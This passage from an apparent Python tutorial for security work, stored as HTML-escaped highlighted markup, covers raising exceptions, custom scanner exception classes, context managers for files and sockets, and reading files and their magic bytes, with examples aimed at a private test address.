        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Port &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; out of valid range&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;ValueError&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Invalid port: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.4 Raising Exceptions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;validate_ip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Validate IP address format.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;parts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Invalid IP: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;part&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;part&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isdigit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;part&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Invalid IP octet: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;part&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; in &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;

&lt;span class="c1"&gt;# Custom exceptions — for complex tools
&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ScanError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Base exception for scanner errors.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TargetUnreachable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ScanError&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Target host is not responding.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AuthenticationFailed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ScanError&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Authentication to target failed.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="c1"&gt;# Using custom exceptions
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;connect_to_service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;ping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;TargetUnreachable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Host &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; is not responding&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;authenticate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;AuthenticationFailed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Invalid credentials for &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;connect_to_service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;root&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;TargetUnreachable&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Cannot reach target: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;AuthenticationFailed&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Auth failed: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.5 Context Managers — The Pythonic Way
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# "with" statement ensures resources are properly released even on error
# This is the correct way to handle files and network connections
&lt;/span&gt;
&lt;span class="c1"&gt;# File handling with context manager
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;output.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;scan results&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# File is automatically closed when block exits, even if exception occurs
&lt;/span&gt;
&lt;span class="c1"&gt;# Socket with context manager
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;settimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET / HTTP/1.0&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4096&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Socket automatically closed
&lt;/span&gt;
&lt;span class="c1"&gt;# Custom context manager
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;contextlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;contextmanager&lt;/span&gt;

&lt;span class="nd"&gt;@contextmanager&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;timed_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Starting scan of &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;yield&lt;/span&gt;
    &lt;span class="k"&gt;finally&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;elapsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Scan of &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; completed in &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;elapsed&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;timed_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;perform_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. File Read and Write
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Reading Files
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Reading entire file
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;targets.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                 &lt;span class="c1"&gt;# Entire file as string
&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;targets.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;              &lt;span class="c1"&gt;# List of lines (includes \n)
&lt;/span&gt;
&lt;span class="c1"&gt;# Reading line by line — memory efficient for large files
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;access.log&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                     &lt;span class="c1"&gt;# f is an iterator
&lt;/span&gt;        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;404&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;        &lt;span class="c1"&gt;# strip() removes trailing \n
&lt;/span&gt;
&lt;span class="c1"&gt;# Clean line reading
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;targets.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;targets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;  &lt;span class="c1"&gt;# Skip empty lines
&lt;/span&gt;
&lt;span class="c1"&gt;# Reading binary files — for forensics, malware analysis
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sample.exe&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="c1"&gt;# "rb" = read binary
&lt;/span&gt;    &lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                 &lt;span class="c1"&gt;# Read first 4 bytes (magic bytes)
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                &lt;span class="c1"&gt;# MZ header: 4d5a → PE file
&lt;/span&gt;
&lt;span class="c1"&gt;# Checking magic bytes (file type detection)
&lt;/span&gt;&lt;span class="n"&gt;magic_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x4d\x5a&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Windows PE (EXE/DLL)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x7f&lt;/span&gt;&lt;span class="s"&gt;ELF&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Linux ELF binary&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x89&lt;/span&gt;&lt;span class="s"&gt;PNG&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PNG image&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;%PDF&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PDF document&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
